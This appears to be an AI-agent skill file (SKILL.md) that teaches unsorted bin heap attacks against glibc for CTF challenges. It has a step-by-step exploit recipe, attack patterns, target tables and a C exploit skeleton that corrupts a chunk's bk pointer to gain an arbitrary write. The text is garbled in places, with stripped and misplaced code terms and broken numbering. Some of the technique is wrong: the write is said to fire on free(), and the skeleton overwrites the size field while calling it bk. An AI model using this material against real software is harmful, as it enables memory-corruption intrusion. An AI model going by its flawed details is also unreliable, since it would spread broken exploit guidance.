Hacktricks-skills unsorted-bin-attack
How to perform unsorted bin heap attacks in glibc-based CTF challenges. Use this skill whenever the user mentions heap exploitation, unsorted bins, glibc malloc attacks, chunk corruption, arbitrary writes via heap, or needs to bypass tcache for heap attacks. Also trigger when users discuss global_max_fast manipulation, heap infoleaks, or transitioning from unsorted bin to fast bin attacks.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/libc-heap/unsorted-bin-attack/SKILL.MDUnsorted Bin Attack Skill
This skill helps you perform unsorted bin attacks in glibc-based heap exploitation challenges. Unsorted bin attacks allow arbitrary writes by corrupting chunk metadata during free-time insertion into the unsorted bin.
When to Use This Skill
Use this skill when:
- You have a heap overflow and need an arbitrary write primitive
- You need to leak libc addresses via heap chunks
- You want to manipulate
(glibc < 2.39) or other global stateglobal_max_fast - You're transitioning from unsorted bin to fast bin attacks
- You need to bypass tcache for heap exploitation
- The challenge involves glibc malloc/free with controllable chunk sizes
Core Concept
When a chunk is freed to the unsorted bin, glibc performs:
bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; // <-- This is the write primitive!
If you control
victim->bk before free(victim), you can make bck->fd = victim write to an arbitrary address:
- Set
victim->bk = (mchunkptr)(TARGET - 0x10) - Call
free(victim) - Result:
(arbitrary write!)*(TARGET) = victim
Modern Constraints (glibc ≥ 2.33)
Tcache Interference
For sizes that fall into tcache, frees go there instead of unsorted bin. Bypass options:
- Use large sizes: Allocate chunks >
(≥ 0x410 on 64-bit)MAX_TCACHE_SIZE - Fill tcache bin: Free 7 chunks of the same size first, then free your corrupted chunk
- Disable tcache: Set
if environment allowsGLIBC_TUNABLES=glibc.malloc.tcache_count=0
Integrity Checks
On allocation from unsorted bin, glibc checks:
(your target must hold the victim pointer)bck->fd == victim
(victim's fd must point to arena)victim->fd == unsorted_chunks(av)
If these fail:
malloc(): unsorted double linked list corrupted
Target Selection
- glibc < 2.39:
was a common target (enlarges fastbin limit)global_max_fast - glibc ≥ 2.39:
is 8-bit; writing a pointer corrupts adjacent data. Use other targets.global_max_fast - glibc ≥ 2.34:
/__malloc_hook
removed; use GOT/PLT instead__free_hook - General: Target application globals that treat "large" values as flags/limits
Minimal Exploitation Recipe
Step 1: Layout/Grooming
// Allocate chunks large enough to bypass tcache void *A = malloc(0x5000); // Overflow source void *B = malloc(0x5000); // Chunk to corrupt void *C = malloc(0x5000); // Prevent top chunk consolidation
Step 2: Corruption
// Overflow from A into B's metadata // B's chunk header is at (char*)B - 0x10 (size) - 0x8 (prev_size) // bk is at offset 0x10 from chunk start (after size, prev_size) *(size_t *)((char*)B - 0x8) = (size_t)(TARGET - 0x10);
Step 3: Trigger
free(B); // Triggers *(TARGET) = B
Step 4: Continuation
If you continue allocating:
- The allocator will later set
*(TARGET) = unsorted_chunks(av) - Both values are typically large heap/libc addresses
- This may be sufficient for targets checking "big" values
Attack Patterns
Pattern 1: Arbitrary Write to Global
Use when you need to set a global variable to a large value.
1. Allocate A, B, C (large sizes, bypass tcache) 2. Overflow A → B's bk pointer: B->bk = (GLOBAL - 0x10) 3. free(B) 4. Result: *(GLOBAL) = B (large heap address)
Pattern 2: Libc Infoleak
Use when you need libc addresses for ROP/one-gadget.
1. Allocate A, B, C, D (D prevents top consolidation) 2. free(B) → B goes to unsorted bin 3. B's fd/bk now point to main arena 4. Use-after-free or reallocate B without overwriting fd/bk 5. Read B's metadata to leak libc address
Pattern 3: Unsorted → Fast Bin Transition
Use when you need fast bin attacks but glibc uses unsorted bins.
1. Perform unsorted bin attack on global_max_fast (glibc < 2.39) 2. Set global_max_fast to large value (e.g., 0x5000) 3. Now small allocations go to fast bins 4. Perform fast bin attack (fd overwrite, etc.)
Pattern 4: Tcache Fill + Unsorted
Use when you can't allocate large chunks.
1. Allocate 7 chunks of size X (fills tcache bin) 8. Allocate 8th chunk of size X (goes to unsorted bin) 9. Corrupt 8th chunk's bk pointer 10. free(8th chunk) → unsorted bin write primitive
Common Targets
| Target | glibc Version | Purpose |
|---|---|---|
| < 2.39 | Enlarge fastbin limit |
| Application globals | Any | Set flags/limits |
| GOT entries | Any | Function pointer hijack |
| Heap metadata | Any | Chunk size manipulation |
| Arena fields | Any | Allocator state corruption |
Debugging Tips
Check if chunk goes to unsorted bin
# In gdb with heap debugging info heap # Look for "unsorted" in the bin listing
Verify tcache bypass
# Check tcache count p *(unsigned int*)(0x7ffff7a00000 + 0x10) # Approximate tcache location # Or use GLIBC_TUNABLES to disable and test
Common errors
→ fd/bk integrity check failedmalloc(): unsorted double linked list corrupted
→ Chunk size or alignment issuemalloc(): memory corruption
→ Chunk not properly aligned or markedfree(): invalid pointer
Example: Complete Exploit Skeleton
#include <stdio.h> #include <stdlib.h> #include <string.h> #define CHUNK_SIZE 0x5000 #define TARGET &some_global_variable void exploit() { void *chunk_a = malloc(CHUNK_SIZE); void *chunk_b = malloc(CHUNK_SIZE); void *chunk_c = malloc(CHUNK_SIZE); // Overflow from A into B's metadata // B's bk is at offset 0x10 from chunk start size_t *bk_ptr = (size_t *)((char*)chunk_b - 0x8); *bk_ptr = (size_t)((char*)TARGET - 0x10); // Trigger the write free(chunk_b); // Now *(TARGET) = chunk_b (a large heap address) // Continue with your exploit... }
References
- CTF Wiki - Unsorted Bin Attack
- guyinatuxedo - Unsorted Bin Attack
- glibc 2.33 malloc.c
- glibc 2.39 malloc.c
Related Skills
- For fast bin heap exploitationfast-bin-attack
- For large bin heap exploitationlarge-bin-attack
- For leaking libc addresses via heapheap-infoleak
- For tcache-based heap exploitationtcache-attack